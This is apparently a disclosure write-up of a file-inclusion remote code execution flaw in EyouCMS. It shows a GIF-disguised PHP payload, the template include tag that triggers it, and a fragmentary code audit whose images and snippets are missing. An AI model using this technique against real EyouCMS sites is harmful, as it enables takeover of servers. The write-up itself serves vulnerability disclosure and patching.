EyouCMS文件包含RCE漏洞¶
First, download the latest source code from the official website:
After downloading, use PHPStudy Pro to set up the website:
Proceed with the installation process, setting up the database information and admin password:
In the admin panel, verify that the current version is the latest:
Prepare a malicious payload in the form of an image, utilizing Remote Code Execution (RCE) via template file inclusion:
GIF89a
<?php phpinfo();?>




uploads/allimg/20230901/1-230Z1151QR14.gif


{eyou:include file="uploads/allimg/20230901/1-230Z1151QR14.gif" /}



Code Audit¶
Firstly, the eyou:include
tag is present in the list of parsed tags, and there is no filtering mechanism applied to it:
core\library\think\Template.php

$content
variable. Parsing takes place in "core\library\think\Template.php":
parseEyouInclude
function:





core\library\think\template\driver\File.php
write
method, content is directly written:


read
method of "File.php," the temporarily generated file is included, leading to Remote Code Execution (RCE):
core\library\think\template\driver\File.php
